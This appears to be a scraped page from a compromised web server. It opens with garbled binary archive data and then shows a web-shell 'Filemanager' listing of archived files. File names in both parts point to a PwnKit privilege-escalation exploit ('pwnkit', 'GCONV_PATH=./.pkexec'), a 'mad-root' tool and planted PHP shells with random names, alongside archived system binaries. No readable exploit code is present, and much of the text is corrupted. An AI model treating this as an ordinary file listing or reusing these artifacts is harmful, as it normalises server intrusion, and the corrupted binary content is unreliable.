$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���PK!�o<ww67c1be3c7f0cd.jpgnuȯ��PK!�GCONV_PATH=./.pkexecnuȯ��PK!�o<ww�674dc9a7e6beb.jpgnuȯ��PK!t8��

�4yd0ui/67c6da0a349ea.jpg.tarnu�[���PK!���

4yd0ui/67e272b25bcec.jpg.tarnu�[���PK!����b�bL4yd0ui/orb3c.php.php.tar.gznu�[���PK!XҪ�@@l4yd0ui/orb3c.php.tarnu�[���PK!�g*

��4yd0ui/674dc9a7e6beb.jpg.tarnu�[���PK!J��YY��4yd0ui/4yd0ui.tar.gznu�[���PK!V�

O#4yd0ui/67e272a89d6f9.jpg.tarnu�[���PK!��r��#�-4yd0ui/67c1be3c7f0cd.jpg.jpg.tar.gznu�[���PK!�{���#w04yd0ui/674dc9a7e6beb.jpg.jpg.tar.gznu�[���PK!|�jƉ�#S34yd0ui/67e272b25bcec.jpg.jpg.tar.gznu�[���PK!���!!/64yd0ui/b3vd5z.tar.gznu�[���PK!��᠉�#�B4yd0ui/67c6da0a349ea.jpg.jpg.tar.gznu�[���PK!��h�22pE4yd0ui/b3vd5z.tarnu�[���PK!�5k

�w4yd0ui/67c1be3c7f0cd.jpg.tarnu�[���PK!����u,u,��4yd0ui/b3vd5z.zipnu�[���PK!���V����4yd0ui/4yd0ui.tarnu�[���PK!�Ș��9�9�d4yd0ui/orb3c.phpnu�[���PK!�k��#"�4yd0ui/67e272a89d6f9.jpg.jpg.tar.gznu�[���PK!�o<ww��67e272b25bcec.jpgnuȯ��PK!�2<�+�+��b3vd5z/bci4w.phpnu�[���PK!	��.mad-rootnu�[���PK!�o<ww�67c6da0a349ea.jpgnuȯ��PK!C�!)�+�+��pwnkitnuȯ��PK!�o<ww�	67e272a89d6f9.jpgnuȯ��PK	�	

Filemanager

Name Type Size Permission Actions
.mad-root.mad-root.tar.gz File 116 B 0644
.mad-root.tar File 1.5 KB 0644
1.zip File 95.99 KB 0644
10.tar File 1.93 MB 0644
10.tar.gz File 816.9 KB 0644
10.zip File 579.72 KB 0644
11.tar File 29 KB 0644
11.tar.gz File 5.07 KB 0644
116.zip File 16.11 KB 0644
12.zip File 12.91 KB 0644
13.tar File 14.5 KB 0644
13.tar.gz File 4.05 KB 0644
13.zip File 11.65 KB 0644
14.tar File 92 KB 0644
14.tar.gz File 40.81 KB 0644
14.zip File 87.95 KB 0644
15.tar File 13.5 KB 0644
15.tar.gz File 3.9 KB 0644
15.zip File 11.41 KB 0644
17.zip File 131.25 KB 0644
200.zip File 218.21 KB 0644
341.tar File 107.5 KB 0644
341.tar.gz File 99.22 KB 0644
4.zip File 21.5 KB 0644
40.zip File 276.46 KB 0644
44.zip File 378.81 KB 0644
48.zip File 1.21 MB 0644
4yd0ui.tar File 237.5 KB 0644
4yd0ui.tar.gz File 86.26 KB 0644
5.zip File 193.4 KB 0644
6.zip File 11.65 KB 0644
674dc9a7e6beb.jpg.jpg.tar.gz File 649 B 0644
674dc9a7e6beb.jpg.tar File 2.5 KB 0644
67c1be3c7f0cd.jpg.jpg.tar.gz File 649 B 0644
67c1be3c7f0cd.jpg.tar File 2.5 KB 0644
67c6da0a349ea.jpg.jpg.tar.gz File 649 B 0644
67c6da0a349ea.jpg.tar File 2.5 KB 0644
67e272a89d6f9.jpg.jpg.tar.gz File 649 B 0644
67e272a89d6f9.jpg.tar File 2.5 KB 0644
67e272b18e1f9.jpg.jpg.tar.gz File 648 B 0644
67e272b18e1f9.jpg.tar File 2.5 KB 0644
67e272b25bcec.jpg.jpg.tar.gz File 649 B 0644
67e272b25bcec.jpg.tar File 2.5 KB 0644
686f89aa1bcc3.jpg.jpg.tar.gz File 648 B 0644
686f89aa1bcc3.jpg.tar File 2.5 KB 0644
69.zip File 100.75 KB 0644
7.zip File 52.72 KB 0644
8.tar File 77 KB 0644
8.tar.gz File 16.98 KB 0644
8.zip File 74.25 KB 0644
X11.zip File 57.84 KB 0644
apt.zip File 64.89 KB 0644
b3vd5z.tar File 12.5 KB 0644
b3vd5z.tar.gz File 3.03 KB 0644
b3vd5z.zip File 11.11 KB 0644
bus.tar File 18.5 KB 0644
bus.tar.gz File 1.44 KB 0644
bus.zip File 6.92 KB 0644
cryptsetup.tar File 171.5 KB 0644
cryptsetup.tar.gz File 62.45 KB 0644
depmod.d.zip File 187 B 0644
depmod.tar File 168 KB 0644
depmod.tar.gz File 76.66 KB 0644
ebtables-nft.tar File 221 KB 0644
ebtables-nft.tar.gz File 91.04 KB 0644
fb.tar File 2 KB 0644
fb.tar.gz File 97 B 0644
findfs.tar File 16 KB 0644
findfs.tar.gz File 3.4 KB 0644
fixparts.tar File 60 KB 0644
fixparts.tar.gz File 24.76 KB 0644
fsck.minix.minix.tar.gz File 21.18 KB 0644
fsck.minix.tar File 56 KB 0644
iconvconfig.tar File 32 KB 0644
iconvconfig.tar.gz File 12.55 KB 0644
init.tar File 1.77 MB 0644
init.tar.gz File 621.25 KB 0644
irq.zip File 28.28 KB 0644
iscsi_discovery.tar File 7 KB 0644
iscsi_discovery.tar.gz File 2.11 KB 0644
kallsyms.tar File 7.1 MB 0644
kallsyms.tar.gz File 987.4 KB 0644
kpartx.tar File 48 KB 0644
kpartx.tar.gz File 19.11 KB 0644
lcf.tar File 9.5 KB 0644
lcf.tar.gz File 2.68 KB 0644
mdstat.tar File 2 KB 0644
mdstat.tar.gz File 161 B 0644
mkinitramfs.tar File 14 KB 0644
mkinitramfs.tar.gz File 4.63 KB 0644
modinfo.tar File 168 KB 0644
modinfo.tar.gz File 76.66 KB 0644
modprobe.tar File 168 KB 0644
modprobe.tar.gz File 76.67 KB 0644
network.zip File 2.29 KB 0644
newt.zip File 466 B 0644
newusers.tar File 76.5 KB 0644
newusers.tar.gz File 29.13 KB 0644
orb3c.php File 78.48 KB 0644
orb3c.php.php.tar.gz File 24.71 KB 0644
orb3c.php.tar File 80 KB 0644
pam_timestamp_check.tar File 16 KB 0644
pam_timestamp_check.tar.gz File 3.95 KB 0644
perl.tar File 2.5 KB 0644
perl.tar.gz File 376 B 0644
plymouthd.tar File 152.5 KB 0644
plymouthd.tar.gz File 42.64 KB 0644
pvchange.tar File 2.89 MB 0644
pvchange.tar.gz File 932.15 KB 0644
pwnkit.tar File 12.5 KB 0644
pwnkit.tar.gz File 3.9 KB 0644
python3.tar File 2 KB 0644
python3.tar.gz File 162 B 0644
rqsj6y.tar File 2 KB 0644
rqsj6y.tar.gz File 182 B 0644
scsi.zip File 6.24 KB 0644
setvesablank.tar File 16 KB 0644
setvesablank.tar.gz File 3.12 KB 0644
skel.zip File 5.09 KB 0644
swaps.tar File 2 KB 0644
swaps.tar.gz File 150 B 0644
telinit.tar File 1.07 MB 0644
telinit.tar.gz File 508.75 KB 0644
tmp.zip File 2.03 MB 0644
unix.11yzwKmO.11yzwKmO.tar.gz File 36.19 KB 0644
unix.11yzwKmO.tar File 49.5 KB 0644
uptime.tar File 2 KB 0644
uptime.tar.gz File 109 B 0644
veritysetup.tar File 45.5 KB 0644
veritysetup.tar.gz File 13.5 KB 0644
vim.zip File 3.13 KB 0644
wbcdqx.zip File 259 B 0644